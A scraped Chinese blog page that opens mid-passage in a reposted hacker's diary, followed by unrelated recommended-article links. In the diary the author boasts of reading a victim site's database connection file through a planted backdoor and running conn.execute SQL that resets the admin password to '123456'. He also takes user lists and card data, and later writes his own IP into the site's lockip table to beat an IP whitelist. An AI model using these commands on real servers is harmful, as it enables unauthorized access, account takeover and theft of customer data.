-------------------------------------------------------------------------------- '代码完成点击提交,这样就把D:\www\wwwroot\conn.asp的内容显示了出来,呵呵。。。得到数据库连接文件后我们可以执行任何数据库命令。比如conn.execute ("update admin set password='123456' where username='admin'")改管理员密码。这样子我还是照样可以拿他数据库的用户列表或卡哈哈。12月22日管理员疯了,在首页和登陆页面上把所有人的IP都禁止,只给他的客户访问,当客户联系他并且提供客户的IP地址给他的时候,他便把客户的IP写进数据库验证,偶又进不去鸟。其中,验证代码如下:以下被引用:-------------------------------------------------------------------------------- -------------------------------------------------------------------------------- 呵呵,真BT,不过,你够BT,偶们也BT,行动,构造以下ip.htm代码提交:下面的XXXXX.asp是偶另一个后门 ^_^以下被引用:-------------------------------------------------------------------------------- '以下把我的IP段按他的算法格式写入数据库,我看你牛不牛。conn.execute ("Update lockip set ip1='365820xxxx',ip2='365820xxxx' where id='1'")

-------------------------------------------------------------------------------- 这样就可以把你的IP写到他数据库,也就可以正常访问了。哈哈!!!!!!!!至于以后偶怎么对待这个服务器,下次再写。12月24日 摘自:http://blog.chinaunix.net/article.php?articleId=18754&blogId=5018

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=383179

解决问题:EXT4 filefield 文件上传在IE8上返回状态无效,弹出下载页面

解决描述:    EXT4  filefield  以form 文件上传,基于IE8浏览器,不管上传成功与否,返回状态无效(即success: function(fp, o) {}方法无效),并弹出下...

Linux解决问题篇——ftp上传文件(使用put)时,permission denied,下载文件(使用get)时,failed to open file

使用ftp连接本地服务器时,在put时出现

文件上传下载中的安全问题(上传漏洞与目录遍历攻击)

文件上传与下载是项目中经常需要提供的功能,不管是哪个web应用几乎都可以找到.那本屌今天就来说一说我们在开发中的疏忽可能导致的问题. 先建立一个web工程,目录结构如下  文件上传漏洞 我...

文件上传下载中的安全问题(上传漏洞与目录遍历攻击)

前言 文件上传与下载是项目中经常需要提供的功能,不管是哪个web应用几乎都可以找到.那本屌今天就来说一说我们在开发中的疏忽可能导致的问题. 先建立一个web工程,目录结构如下 文件上传漏洞 我...
  • lwphk
  • lwphk
  • 2015年01月26日 13:46
  • 1677

(转)Android冷启动白屏解析,带你一步步分析和解决问题

转载请注明出处:http://blog.csdn.net/guolin_blog/article/details/51019856 本文同步发表于我的微信公众号,扫一扫文章底部的二维码或在微信搜索...

fckeditor 上传漏洞解决

  • 2011年04月12日 10:17
  • 44KB
  • 下载

如何解决问题&nbsp;转

转自 http://www.xici.net/main.asp?at=1&url=/u12743491/d67674202.htm 如何解决问题,这是一个既古...
  • dieqms
  • dieqms
  • 2014年11月13日 19:42
  • 278

解决问题办法

  • 2015年07月16日 18:48
  • 240B
  • 下载

java中文乱码解决问题

  • 2015年04月15日 11:26
  • 17KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:关于上传漏洞的解决问题 [转]
举报原因:
原因补充:

(最多只允许输入30个字)